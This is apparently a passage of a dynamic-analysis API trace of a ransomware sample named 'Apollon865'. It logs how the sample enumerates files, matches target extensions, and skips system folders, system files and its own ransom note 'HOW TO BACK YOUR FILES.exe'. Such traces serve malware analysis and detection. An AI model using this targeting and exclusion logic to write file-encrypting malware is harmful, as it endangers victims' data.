	[0075.306] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0075.306] lstrlenW (lpString="dbt") returned 3
	[0075.307] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0075.307] lstrlenW (lpString="dbv") returned 3
	[0075.307] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0075.307] lstrlenW (lpString="dbx") returned 3
	[0075.307] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0075.307] lstrlenW (lpString="dcb") returned 3
	[0075.307] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0075.307] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0075.307] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0075.307] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0075.307] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0075.307] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0075.307] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1
	[0075.307] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.307] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0075.307] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2=".") returned 1
	[0075.307] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="..") returned 1
	[0075.308] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="windows") returned -1
	[0075.308] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="bootmgr") returned -1
	[0075.308] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="temp") returned -1
	[0075.308] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="pagefile.sys") returned -1
	[0075.308] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="boot") returned -1
	[0075.308] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="ids.txt") returned -1
	[0075.308] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="ntuser.dat") returned -1
	[0075.308] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="perflogs") returned -1
	[0075.308] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="MSBuild") returned -1
	[0075.308] lstrlenW (lpString="Blue_Gradient.jpg") returned 17
	[0075.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0075.308] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Blue_Gradient.jpg" | out: lpString1="Blue_Gradient.jpg") returned="Blue_Gradient.jpg"
	[0075.308] lstrlenW (lpString="Blue_Gradient.jpg") returned 17
	[0075.308] lstrlenW (lpString="Apollon865") returned 10
	[0075.308] lstrcmpiW (lpString1="adient.jpg", lpString2="Apollon865") returned -1
	[0075.308] lstrlenW (lpString=".dll") returned 4
	[0075.308] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2=".dll") returned 1
	[0075.308] lstrlenW (lpString=".lnk") returned 4
	[0075.308] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2=".lnk") returned 1
	[0075.308] lstrlenW (lpString=".ini") returned 4
	[0075.308] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2=".ini") returned 1
	[0075.308] lstrlenW (lpString=".sys") returned 4
	[0075.308] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2=".sys") returned 1
	[0075.308] lstrlenW (lpString="Blue_Gradient.jpg") returned 17
	[0075.308] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1
	[0075.308] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.308] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="Apollon865.txt.exe") returned 1
	[0075.308] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2=".") returned 1
	[0075.308] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="..") returned 1
	[0075.308] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="windows") returned -1
	[0075.308] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="bootmgr") returned 1
	[0075.308] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="temp") returned -1
	[0075.308] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="pagefile.sys") returned -1
	[0075.308] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="boot") returned 1
	[0075.309] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="ids.txt") returned -1
	[0075.309] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="ntuser.dat") returned -1
	[0075.309] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="perflogs") returned -1
	[0075.309] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="MSBuild") returned -1
	[0075.309] lstrlenW (lpString="Cave_Drawings.gif") returned 17
	[0075.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0075.309] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Cave_Drawings.gif" | out: lpString1="Cave_Drawings.gif") returned="Cave_Drawings.gif"
	[0075.309] lstrlenW (lpString="Cave_Drawings.gif") returned 17
	[0075.309] lstrlenW (lpString="Apollon865") returned 10
	[0075.309] lstrcmpiW (lpString1="awings.gif", lpString2="Apollon865") returned 1
	[0075.309] lstrlenW (lpString=".dll") returned 4
	[0075.309] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2=".dll") returned 1
	[0075.309] lstrlenW (lpString=".lnk") returned 4
	[0075.309] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2=".lnk") returned 1
	[0075.309] lstrlenW (lpString=".ini") returned 4
	[0075.309] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2=".ini") returned 1
	[0075.309] lstrlenW (lpString=".sys") returned 4
	[0075.309] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2=".sys") returned 1
	[0075.309] lstrlenW (lpString="Cave_Drawings.gif") returned 17
	[0075.309] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1
	[0075.309] lstrcmpiW (lpString1="Connectivity.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.309] lstrcmpiW (lpString1="Connectivity.gif", lpString2="Apollon865.txt.exe") returned 1
	[0075.309] lstrcmpiW (lpString1="Connectivity.gif", lpString2=".") returned 1
	[0075.309] lstrcmpiW (lpString1="Connectivity.gif", lpString2="..") returned 1
	[0075.309] lstrcmpiW (lpString1="Connectivity.gif", lpString2="windows") returned -1
	[0075.309] lstrcmpiW (lpString1="Connectivity.gif", lpString2="bootmgr") returned 1
	[0075.309] lstrcmpiW (lpString1="Connectivity.gif", lpString2="temp") returned -1
	[0075.309] lstrcmpiW (lpString1="Connectivity.gif", lpString2="pagefile.sys") returned -1
	[0075.309] lstrcmpiW (lpString1="Connectivity.gif", lpString2="boot") returned 1
	[0075.309] lstrcmpiW (lpString1="Connectivity.gif", lpString2="ids.txt") returned -1
	[0075.309] lstrcmpiW (lpString1="Connectivity.gif", lpString2="ntuser.dat") returned -1
	[0075.309] lstrcmpiW (lpString1="Connectivity.gif", lpString2="perflogs") returned -1
	[0075.310] lstrcmpiW (lpString1="Connectivity.gif", lpString2="MSBuild") returned -1
	[0075.310] lstrlenW (lpString="Connectivity.gif") returned 16
	[0075.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0075.310] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Connectivity.gif" | out: lpString1="Connectivity.gif") returned="Connectivity.gif"
	[0075.310] lstrlenW (lpString="Connectivity.gif") returned 16
	[0075.310] lstrlenW (lpString="Apollon865") returned 10
	[0075.310] lstrcmpiW (lpString1="tivity.gif", lpString2="Apollon865") returned 1
	[0075.310] lstrlenW (lpString=".dll") returned 4
	[0075.310] lstrcmpiW (lpString1="Connectivity.gif", lpString2=".dll") returned 1
	[0075.310] lstrlenW (lpString=".lnk") returned 4
	[0075.310] lstrcmpiW (lpString1="Connectivity.gif", lpString2=".lnk") returned 1
	[0075.310] lstrlenW (lpString=".ini") returned 4
	[0075.310] lstrcmpiW (lpString1="Connectivity.gif", lpString2=".ini") returned 1
	[0075.310] lstrlenW (lpString=".sys") returned 4
	[0075.310] lstrcmpiW (lpString1="Connectivity.gif", lpString2=".sys") returned 1
	[0075.310] lstrlenW (lpString="Connectivity.gif") returned 16
	[0075.310] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1
	[0075.310] lstrcmpiW (lpString1="Desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.310] lstrcmpiW (lpString1="Desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0075.310] lstrcmpiW (lpString1="Desktop.ini", lpString2=".") returned 1
	[0075.310] lstrcmpiW (lpString1="Desktop.ini", lpString2="..") returned 1
	[0075.310] lstrcmpiW (lpString1="Desktop.ini", lpString2="windows") returned -1
	[0075.310] lstrcmpiW (lpString1="Desktop.ini", lpString2="bootmgr") returned 1
	[0075.310] lstrcmpiW (lpString1="Desktop.ini", lpString2="temp") returned -1
	[0075.310] lstrcmpiW (lpString1="Desktop.ini", lpString2="pagefile.sys") returned -1
	[0075.310] lstrcmpiW (lpString1="Desktop.ini", lpString2="boot") returned 1
	[0075.310] lstrcmpiW (lpString1="Desktop.ini", lpString2="ids.txt") returned -1
	[0075.310] lstrcmpiW (lpString1="Desktop.ini", lpString2="ntuser.dat") returned -1
	[0075.310] lstrcmpiW (lpString1="Desktop.ini", lpString2="perflogs") returned -1
	[0075.310] lstrcmpiW (lpString1="Desktop.ini", lpString2="MSBuild") returned -1
	[0075.310] lstrlenW (lpString="Desktop.ini") returned 11
	[0075.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0075.310] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Desktop.ini" | out: lpString1="Desktop.ini") returned="Desktop.ini"
	[0075.311] lstrlenW (lpString="Desktop.ini") returned 11
	[0075.311] lstrlenW (lpString="Apollon865") returned 10
	[0075.311] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0075.311] lstrlenW (lpString=".dll") returned 4
	[0075.311] lstrcmpiW (lpString1="Desktop.ini", lpString2=".dll") returned 1
	[0075.311] lstrlenW (lpString=".lnk") returned 4
	[0075.311] lstrcmpiW (lpString1="Desktop.ini", lpString2=".lnk") returned 1
	[0075.311] lstrlenW (lpString=".ini") returned 4
	[0075.311] lstrcmpiW (lpString1="Desktop.ini", lpString2=".ini") returned 1
	[0075.311] lstrlenW (lpString=".sys") returned 4
	[0075.311] lstrcmpiW (lpString1="Desktop.ini", lpString2=".sys") returned 1
	[0075.311] lstrlenW (lpString="Desktop.ini") returned 11
	[0075.311] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1
	[0075.311] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.311] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="Apollon865.txt.exe") returned 1
	[0075.311] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2=".") returned 1
	[0075.311] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="..") returned 1
	[0075.311] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="windows") returned -1
	[0075.311] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="bootmgr") returned 1
	[0075.311] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="temp") returned -1
	[0075.311] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="pagefile.sys") returned -1
	[0075.311] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="boot") returned 1
	[0075.311] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="ids.txt") returned -1
	[0075.311] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="ntuser.dat") returned -1
	[0075.311] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="perflogs") returned -1
	[0075.311] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="MSBuild") returned -1
	[0075.311] lstrlenW (lpString="Dotted_Lines.emf") returned 16
	[0075.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0075.311] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Dotted_Lines.emf" | out: lpString1="Dotted_Lines.emf") returned="Dotted_Lines.emf"
	[0075.311] lstrlenW (lpString="Dotted_Lines.emf") returned 16
	[0075.311] lstrlenW (lpString="Apollon865") returned 10
	[0075.311] lstrcmpiW (lpString1="_Lines.emf", lpString2="Apollon865") returned -1
	[0075.311] lstrlenW (lpString=".dll") returned 4
	[0075.312] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2=".dll") returned 1
	[0075.312] lstrlenW (lpString=".lnk") returned 4
	[0075.312] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2=".lnk") returned 1
	[0075.312] lstrlenW (lpString=".ini") returned 4
	[0075.312] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2=".ini") returned 1
	[0075.312] lstrlenW (lpString=".sys") returned 4
	[0075.312] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2=".sys") returned 1
	[0075.312] lstrlenW (lpString="Dotted_Lines.emf") returned 16
	[0075.312] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1
	[0075.312] lstrcmpiW (lpString1="Garden.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.312] lstrcmpiW (lpString1="Garden.htm", lpString2="Apollon865.txt.exe") returned 1
	[0075.312] lstrcmpiW (lpString1="Garden.htm", lpString2=".") returned 1
	[0075.312] lstrcmpiW (lpString1="Garden.htm", lpString2="..") returned 1
	[0075.312] lstrcmpiW (lpString1="Garden.htm", lpString2="windows") returned -1
	[0075.312] lstrcmpiW (lpString1="Garden.htm", lpString2="bootmgr") returned 1
	[0075.312] lstrcmpiW (lpString1="Garden.htm", lpString2="temp") returned -1
	[0075.312] lstrcmpiW (lpString1="Garden.htm", lpString2="pagefile.sys") returned -1
	[0075.312] lstrcmpiW (lpString1="Garden.htm", lpString2="boot") returned 1
	[0075.312] lstrcmpiW (lpString1="Garden.htm", lpString2="ids.txt") returned -1
	[0075.312] lstrcmpiW (lpString1="Garden.htm", lpString2="ntuser.dat") returned -1
	[0075.312] lstrcmpiW (lpString1="Garden.htm", lpString2="perflogs") returned -1
	[0075.312] lstrcmpiW (lpString1="Garden.htm", lpString2="MSBuild") returned -1
	[0075.312] lstrlenW (lpString="Garden.htm") returned 10
	[0075.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0075.312] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Garden.htm" | out: lpString1="Garden.htm") returned="Garden.htm"
	[0075.312] lstrlenW (lpString="Garden.htm") returned 10
	[0075.312] lstrlenW (lpString="Apollon865") returned 10
	[0075.312] lstrlenW (lpString=".dll") returned 4
	[0075.312] lstrcmpiW (lpString1="Garden.htm", lpString2=".dll") returned 1
	[0075.312] lstrlenW (lpString=".lnk") returned 4
	[0075.312] lstrcmpiW (lpString1="Garden.htm", lpString2=".lnk") returned 1
	[0075.312] lstrlenW (lpString=".ini") returned 4
	[0075.312] lstrcmpiW (lpString1="Garden.htm", lpString2=".ini") returned 1
	[0075.312] lstrlenW (lpString=".sys") returned 4
	[0075.313] lstrcmpiW (lpString1="Garden.htm", lpString2=".sys") returned 1
	[0075.313] lstrlenW (lpString="Garden.htm") returned 10
	[0075.313] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1
	[0075.313] lstrcmpiW (lpString1="Garden.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.313] lstrcmpiW (lpString1="Garden.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0075.313] lstrcmpiW (lpString1="Garden.jpg", lpString2=".") returned 1
	[0075.313] lstrcmpiW (lpString1="Garden.jpg", lpString2="..") returned 1
	[0075.313] lstrcmpiW (lpString1="Garden.jpg", lpString2="windows") returned -1
	[0075.313] lstrcmpiW (lpString1="Garden.jpg", lpString2="bootmgr") returned 1
	[0075.313] lstrcmpiW (lpString1="Garden.jpg", lpString2="temp") returned -1
	[0075.313] lstrcmpiW (lpString1="Garden.jpg", lpString2="pagefile.sys") returned -1
	[0075.313] lstrcmpiW (lpString1="Garden.jpg", lpString2="boot") returned 1
	[0075.313] lstrcmpiW (lpString1="Garden.jpg", lpString2="ids.txt") returned -1
	[0075.313] lstrcmpiW (lpString1="Garden.jpg", lpString2="ntuser.dat") returned -1
	[0075.313] lstrcmpiW (lpString1="Garden.jpg", lpString2="perflogs") returned -1
	[0075.313] lstrcmpiW (lpString1="Garden.jpg", lpString2="MSBuild") returned -1
	[0075.313] lstrlenW (lpString="Garden.jpg") returned 10
	[0075.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0075.313] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Garden.jpg" | out: lpString1="Garden.jpg") returned="Garden.jpg"
	[0075.313] lstrlenW (lpString="Garden.jpg") returned 10
	[0075.313] lstrlenW (lpString="Apollon865") returned 10
	[0075.313] lstrlenW (lpString=".dll") returned 4
	[0075.313] lstrcmpiW (lpString1="Garden.jpg", lpString2=".dll") returned 1
	[0075.313] lstrlenW (lpString=".lnk") returned 4
	[0075.313] lstrcmpiW (lpString1="Garden.jpg", lpString2=".lnk") returned 1
	[0075.313] lstrlenW (lpString=".ini") returned 4
	[0075.313] lstrcmpiW (lpString1="Garden.jpg", lpString2=".ini") returned 1
	[0075.313] lstrlenW (lpString=".sys") returned 4
	[0075.313] lstrcmpiW (lpString1="Garden.jpg", lpString2=".sys") returned 1
	[0075.313] lstrlenW (lpString="Garden.jpg") returned 10
	[0075.313] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1
	[0075.314] lstrcmpiW (lpString1="Genko_1.emf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.314] lstrcmpiW (lpString1="Genko_1.emf", lpString2="Apollon865.txt.exe") returned 1
	[0075.314] lstrcmpiW (lpString1="Genko_1.emf", lpString2=".") returned 1
	[0075.314] lstrcmpiW (lpString1="Genko_1.emf", lpString2="..") returned 1
	[0075.314] lstrcmpiW (lpString1="Genko_1.emf", lpString2="windows") returned -1
	[0075.314] lstrcmpiW (lpString1="Genko_1.emf", lpString2="bootmgr") returned 1
	[0075.314] lstrcmpiW (lpString1="Genko_1.emf", lpString2="temp") returned -1
	[0075.314] lstrcmpiW (lpString1="Genko_1.emf", lpString2="pagefile.sys") returned -1
	[0075.314] lstrcmpiW (lpString1="Genko_1.emf", lpString2="boot") returned 1
	[0075.314] lstrcmpiW (lpString1="Genko_1.emf", lpString2="ids.txt") returned -1
	[0075.314] lstrcmpiW (lpString1="Genko_1.emf", lpString2="ntuser.dat") returned -1
	[0075.314] lstrcmpiW (lpString1="Genko_1.emf", lpString2="perflogs") returned -1
	[0075.314] lstrcmpiW (lpString1="Genko_1.emf", lpString2="MSBuild") returned -1
	[0075.314] lstrlenW (lpString="Genko_1.emf") returned 11
	[0075.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0075.314] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Genko_1.emf" | out: lpString1="Genko_1.emf") returned="Genko_1.emf"
	[0075.314] lstrlenW (lpString="Genko_1.emf") returned 11
	[0075.314] lstrlenW (lpString="Apollon865") returned 10
	[0075.314] lstrcmpiW (lpString1="enko_1.emf", lpString2="Apollon865") returned 1
	[0075.314] lstrlenW (lpString=".dll") returned 4
	[0075.314] lstrcmpiW (lpString1="Genko_1.emf", lpString2=".dll") returned 1
	[0075.314] lstrlenW (lpString=".lnk") returned 4
	[0075.314] lstrcmpiW (lpString1="Genko_1.emf", lpString2=".lnk") returned 1
	[0075.314] lstrlenW (lpString=".ini") returned 4
	[0075.314] lstrcmpiW (lpString1="Genko_1.emf", lpString2=".ini") returned 1
	[0075.314] lstrlenW (lpString=".sys") returned 4
	[0075.314] lstrcmpiW (lpString1="Genko_1.emf", lpString2=".sys") returned 1
	[0075.314] lstrlenW (lpString="Genko_1.emf") returned 11
	[0075.314] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Genko_2.emf" | out: lpString1="Genko_2.emf") returned="Genko_2.emf"
	[0075.314] lstrlenW (lpString="Genko_2.emf") returned 11
	[0075.314] lstrlenW (lpString="Apollon865") returned 10
	[0075.314] lstrcmpiW (lpString1="enko_2.emf", lpString2="Apollon865") returned 1
	[0075.314] lstrlenW (lpString=".dll") returned 4
	[0075.315] lstrcmpiW (lpString1="Genko_2.emf", lpString2=".dll") returned 1
	[0075.315] lstrlenW (lpString=".lnk") returned 4
	[0075.315] lstrcmpiW (lpString1="Genko_2.emf", lpString2=".lnk") returned 1
	[0075.315] lstrlenW (lpString=".ini") returned 4
	[0075.315] lstrcmpiW (lpString1="Genko_2.emf", lpString2=".ini") returned 1
	[0075.315] lstrlenW (lpString=".sys") returned 4
	[0075.315] lstrcmpiW (lpString1="Genko_2.emf", lpString2=".sys") returned 1
	[0075.315] lstrlenW (lpString="Genko_2.emf") returned 11
	[0075.315] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Graph.emf" | out: lpString1="Graph.emf") returned="Graph.emf"
	[0075.315] lstrlenW (lpString="Graph.emf") returned 9
	[0075.315] lstrlenW (lpString="Apollon865") returned 10
	[0075.315] lstrlenW (lpString=".dll") returned 4
	[0075.315] lstrcmpiW (lpString1="Graph.emf", lpString2=".dll") returned 1
	[0075.315] lstrlenW (lpString=".lnk") returned 4
	[0075.315] lstrcmpiW (lpString1="Graph.emf", lpString2=".lnk") returned 1
	[0075.315] lstrlenW (lpString=".ini") returned 4
	[0075.315] lstrcmpiW (lpString1="Graph.emf", lpString2=".ini") returned 1
	[0075.315] lstrlenW (lpString=".sys") returned 4
	[0075.315] lstrcmpiW (lpString1="Graph.emf", lpString2=".sys") returned 1
	[0075.315] lstrlenW (lpString="Graph.emf") returned 9
	[0075.315] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Green Bubbles.htm" | out: lpString1="Green Bubbles.htm") returned="Green Bubbles.htm"
	[0075.315] lstrlenW (lpString="Green Bubbles.htm") returned 17
	[0075.315] lstrlenW (lpString="Apollon865") returned 10
	[0075.315] lstrcmpiW (lpString1="ubbles.htm", lpString2="Apollon865") returned 1
	[0075.315] lstrlenW (lpString=".dll") returned 4
	[0075.315] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".dll") returned 1
	[0075.315] lstrlenW (lpString=".lnk") returned 4
	[0075.315] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".lnk") returned 1
	[0075.315] lstrlenW (lpString=".ini") returned 4
	[0075.315] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".ini") returned 1
	[0075.315] lstrlenW (lpString=".sys") returned 4
	[0075.316] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".sys") returned 1
	[0075.316] lstrlenW (lpString="Green Bubbles.htm") returned 17
	[0075.316] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="GreenBubbles.jpg" | out: lpString1="GreenBubbles.jpg") returned="GreenBubbles.jpg"
	[0075.316] lstrlenW (lpString="GreenBubbles.jpg") returned 16
	[0075.316] lstrlenW (lpString="Apollon865") returned 10
	[0075.316] lstrcmpiW (lpString1="ubbles.jpg", lpString2="Apollon865") returned 1
	[0075.316] lstrlenW (lpString=".dll") returned 4
	[0075.316] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".dll") returned 1
	[0075.316] lstrlenW (lpString=".lnk") returned 4
	[0075.316] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".lnk") returned 1
	[0075.316] lstrlenW (lpString=".ini") returned 4
	[0075.316] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".ini") returned 1
	[0075.316] lstrlenW (lpString=".sys") returned 4
	[0075.316] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".sys") returned 1
	[0075.316] lstrlenW (lpString="GreenBubbles.jpg") returned 16
	[0075.316] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="grid_(cm).wmf" | out: lpString1="grid_(cm).wmf") returned="grid_(cm).wmf"
	[0075.316] lstrlenW (lpString="grid_(cm).wmf") returned 13
	[0075.316] lstrlenW (lpString="Apollon865") returned 10
	[0075.316] lstrcmpiW (lpString1="d_(cm).wmf", lpString2="Apollon865") returned 1
	[0075.316] lstrlenW (lpString=".dll") returned 4
	[0075.316] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2=".dll") returned 1
